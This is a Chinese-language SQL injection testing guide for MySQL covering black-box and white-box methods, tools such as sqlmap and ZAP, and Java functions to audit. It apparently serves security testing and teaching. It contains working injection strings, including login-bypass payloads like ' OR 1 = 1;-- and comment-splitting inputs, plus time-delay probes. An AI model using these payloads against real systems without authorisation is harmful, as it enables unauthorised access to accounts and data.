SQL注入测试总结
本文以
MySQL数据库为例,其它数据库仅供参考。
1 黑盒测试
1.1 手工测试
Web应用的主要注入点有:
① POST请求体中的参数
② GET请求头URL中的参数
③ Cookie
1.1.1 内联注入
1、字符串内联注入
|
|
|
‘ |
N/ A |
触发数据库返回错误。 |
‘ OR ‘1’ = ‘1 |
‘) OR (‘1’ = ‘1 |
永真,返回所有行。 |
value’ OR ‘1’ = ‘2 |
value’) OR (‘1’ = ‘2 |
空,不影响返回结果。 |
‘ AND ‘1’ = ‘2 |
‘) AND (‘1’ = ‘2 |
永假,返回空。 |
‘ OR ‘ab’ = ‘a”b |
‘) OR (‘ab’ = ‘a”b |
字符串连接,结果同永真。 |
字符串内联注入测试字符串
下面以绕过某系统登录页面为例,介绍字符串内联注入。
场景
① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入’ OR 1 = 1 OR ‘1’ = ‘1
,密码为空,则猜测可构造如下
SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = ” OR 1 = 1 OR ‘1’ = ‘1’ AND password = ”
也可以用户名为空,在密码输入框输入’ OR ‘1’ = ‘1
,则猜测可构造如下
SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = ” AND password = ” OR ‘1’ = ‘1’
场景
② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username’ AND 1 = 1 OR ‘1’ = ‘1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = ‘username’ AND 1 = 1 OR ‘1’ = ‘1’ AND password = ”
username如果未知,可以尝试使用admin、Admin、administrator、Administrator等进行猜测。
如果前端限制了某些字符不能输入,可以使用代理工具拦截并修改请求,如使用
Burp Suite:
可以看到请求中某些字符是做了编码的,如果我们手工修改请求需要输入编码后的字符,常见需要编码的字符如下:
单引号(’
)编码为:
%27
空格编码为:
+
加号(
+)编码为:%2B
等号(
=)编码为:%3D
2、数字内联注入
数字与字符串的区别有两点:
① 数字不需要单引号(’)包围。
② 数字能进行算术运算,字符串不能。
|
|
|
‘ |
N/ A |
触发数据库返回错误。 |
value + 1 |
value – 1 |
算术运算,返回计算后的值。 |
value + 0 |
value – 0 |
算术运算,不影响返回结果。 |
OR 1 = 1 |
) OR (1 = 1 |
永真,返回所有行。 |
value OR 1 = 2 |
value) OR (1 = 2 |
空,不影响返回结果。 |
AND 1 = 2 |
) AND (1 = 2 |
永假,返回空。 |
‘ OR ‘ab’ = ‘a”b |
‘) OR (‘ab’ = ‘a”b |
字符串连接,结果同永真。 |
数字内联注入测试字符串
数字内联注入与字符串内联注入测试方法类似,不再单独举例。
1.1.2 终止式注入
|
|
|
value’;– |
value’);– |
字符串参数,返回指定行集。 |
value’;SQL语句;– |
value’);SQL语句;– |
字符串参数,返回指定行集,并注入完整SQL语句,实现想实现的功能。(下同,不再重复列出) |
value;– |
value);– |
数字参数,返回指定行集。 |
value’;# |
value’);# |
字符串参数,返回指定行集。 |
value;# |
value);# |
数字参数,返回指定行集。 |
‘ OR ‘1’ = ‘1’;– |
‘) OR ‘1’ = ‘1’;– |
字符串永真,返回所有行。 |
OR 1 = 1;– |
) OR 1 = 1;– |
数字永真,返回所有行。 |
‘ AND ‘1’ = ‘2’;– |
‘) AND ‘1’ = ‘2’;– |
字符串永假,返回空。 |
AND 1 = 2;– |
) AND 1 = 2;– |
数字永假,返回空。 |
value’; |
value’); |
字符串参数,返回指定行集。 |
value; |
value); |
数字参数,返回指定行集。 |
/*注入内容*/ |
N/ A |
空,不影响返回结果。 |
终止式注入测试字符串
下面以绕过某系统登录页面为例,介绍终止式注入。
场景
① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入’ OR 1 = 1;– ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = ” OR 1 = 1;– ‘ AND password = ”
场景
② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username’;– ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = ‘username’;– ‘ AND password = ”
也可以在用户名输入框输入’ OR 1 = 1 LIMIT 1;– ,密码为空:
SELECT * FROM usertable WHERE username = ” OR 1 = 1 LIMIT 1;– ‘ AND password = ”
如果应用过滤掉了单行注释字符
–,我们可以使用多行注释,即在用户名输入框输入username’/*,密码输入框输入*/’:
SELECT * FROM usertable WHERE username = ‘username’/*’ AND password = ‘*/”
1.1.3 延迟注入
延迟注入属于一种特殊的终止式注入。延迟注入使用
benchmark或sleep函数:
mysql> select benchmark(10000,md5(‘123456’));
+——————————–+
| benchmark(10000,md5(‘123456’)) |
+——————————–+
| 0 |
+——————————–+
1 row in set (0.01 sec)
mysql> select benchmark(1000000,md5(‘123456’));
+———————————-+
| benchmark(1000000,md5(‘123456’)) |
+———————————-+
| 0 |
+———————————-+
1 row in set (0.20 sec)
mysql> select benchmark(100000000,md5(‘123456’));
+————————————+
| benchmark(100000000,md5(‘123456’)) |
+————————————+
| 0 |
+————————————+
1 row in set (20.06 sec)
mysql> select sleep(10);
+———–+
| sleep(10) |
+———–+
| 0 |
+———–+
1 row in set (10.13 sec)
1.2 自动化测试
SQL注入黑盒测试工具有很多,以下仅列出几种我熟悉的工具。
1.2.1 AppScan
AppScan是IBM的一款Web安全评估工具。AppScan可以对很多漏洞进行扫描,SQL注入只是其中的一种。
1.2.2 ZAP
ZAP是WebScarab的替代品,是一款网络代理及漏洞扫描工具。ZAP的默认扫描策略中包含了SQL注入的扫描。
1.2.3 sqlmap/ SQLMapper
sqlmap是一款Python编写的免费SQL注入测试工具。全面支持6种SQL注入技术:基于布尔盲注、基于时间盲注、错误注入、基于查询的UNION注入、堆叠查询和带外。
SQLMapper是华为自研插件,该插件扩展至sqlmap并作为插件集成到Burp Suite
,然后利用
Burp Suite抓取目标URL和导出扫描报告等。
2 白盒测试
2.1 手工测试
2.1.1 动态SQL语句
本质上是使用了未验证(或未充分验证)的、由用户控制的数据动态拼接
SQL语句造成SQL注入漏洞。以下举例说明:
步骤
① 创建以下用户表:
步骤
② 编写Java程序,程序实现的功能是:根据用户输入用户名查询出对应用户名的数据库记录,包括用户ID、用户名和用户密码。其中getUserInput()方法模拟获取用户的输入数据。
当用户输入
lujiatao时,程序能正确处理:
当用户输入
lujiatao’ or ‘1’ = ‘1时,程序查询出了所有用户的数据库记录,因此存在SQL注入漏洞:
2.1.2 安全敏感函数
由于项目的代码量很大,手工排查的话不可能逐行阅读代码,我们只能搜索关键字进行排查,这些关键字就是执行
SQL语句及做相关准备工作的函数,这些函数的使用都有可能导致SQL注入,因此称为安全敏感函数。Java中的安全敏感函数如下:
createStatement()
prepareStatement()
execute()
executeQuery()
executeBatch()
executeLargeBatch()
executeUpdate()
executeLargeUpdate()
addBatch()
搜索到安全敏感函数后,进一步排查安全敏感函数涉及的动态
SQL语句中的数据是否得到充分验证或预处理。
2.2 自动化测试
SQL注入白盒测试工具也有很多,以下仅列出几种举例说明。
2.2.1 Code Dx
Code Dx是一款商业静态代码分析工具,支持C、C++、Java、.NET等多种代码分析。Code Dx既可以通过Web进行操作,又可以以eclipse的插件形式使用。
2.2.2 FindBugs
FindBugs只能针对Java代码进行静态代码分析,但是是一款免费工具。FindBugs也提供了两种操作方式:一种是通过GUI进行操作,另一种是集成到eclipse进行操作。
2.2.3 CodeDEX
CodeDEX是华为自研工具,集成了业界著名的Coverity、Klocwork、Fortify等工具。
3 参考资料
《SQL注入攻击与防御》
(第
2版)(Justin Clarke 著/ 施宏斌 & 叶愫 译)
《安全测试指南》(
第
4版)(OWASP基金会 著/ OWASP中国 & SECZONE 译)